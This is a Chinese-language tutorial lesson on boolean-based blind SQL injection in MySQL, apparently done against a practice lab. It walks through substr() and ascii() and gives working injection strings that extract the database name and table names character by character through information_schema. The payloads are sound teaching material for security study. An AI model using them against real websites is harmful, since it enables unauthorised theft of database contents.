零、前言
这节课是布尔型盲注,所谓盲注就是无法通过报错获取服务器或服务器的敏感信息,但可以根据返回的类型(True or Flase)确定我们注入语句是否正确,以此来推测我们想要获取的信息,一般盲注有两种类型:基于布尔和基于时间的盲注。
一、Mysql Sql语句测试
进入后台mysql界面,我们认识一些全新的函数
Length(string) 返回字符串的长度
Substr(string,start,length) 从指定位置截取指定长度的字符串。利用这个函数我们可以向数据库“问”很多问题,它只需要回答是True 还是Flase。例如我们截取数据库名的第一个字符并判断它为’a’,这时它会返回一个Flase,即页面返回错误,虽然我们不知道这是什么错误但我们已经可以明确数据库名的第一个字符并不是’a’。直到我们判断数据库名的第一个字符为’s’,它会返回一个True,即页面返回正确,我们就能确定判断正确,数据库名的第一个字符为’s’。这正是布尔型盲注的精髓!
接下来是函数ASCII()函数,它能返回字符对应的ASCII码,这样可以是我们的测试更加简单快速
‘s’的ASCII码正是115,我们通过修改substr的参数返回后续的字符
Select ascii(substr()database(),2,1)
第二个字符是’e’,它的ASCII是101,通过这种方式我们查询整个数据库名。另外我们可以换种角度(比较运算符)判断数据库名的每个字符是什么。例如,
第三个字符的ASCII等于98时返回0,等于99时返回1,我们就可以判断其值为99,即字母’c’。当我们不知道某个字符的具体值时,我们可以用< 和 >来逐步缩小它的的范围,直至确定他最终的值。
我们最终确定第四个字符的ASCII值为117,其对应的字符为’u’
二、后台Sql语句分析
正常访问
单引号测试
单引号测试出错,结合之前的经验可以猜测其后台Sql语句为
Select * from table where id = ‘input’
三、前端注入测试
我们的语句为 ' and 攻击代码 –+
' and (select ascii(substr(database(),1,1)) =88 )--+
返回错误
' and (select ascii(substr(database(),1,1)) =115)--+
返回正常
这样就可以从前台去测试数据库名的具体内容,同样我们可测试一些更为复杂的语句
' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1)) < 105) --+
它的作用是返回当前数据库的第一个表的第一个字符并判断其ASCII码是否小于105,页面返回正常,说明其值小于105。
' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1)) > 100) --+
判断其是否大于100,返回正常,利用二分法提高测试效率
' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1)) > 102) --+
返回错误,说明其值在小于或等于102,又因为大于100,所以我们直接测试101
' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1)) = 101) --+
返回正常,ASCII为101,对应的字符为’e’,我们进入mysql验证一下
Security的第一个表名的第一个字符正好为’e’,说明我们判断的正确。同理我们就可以用同样的思路去猜解其他字符,包括数据的表名、字段、内容等。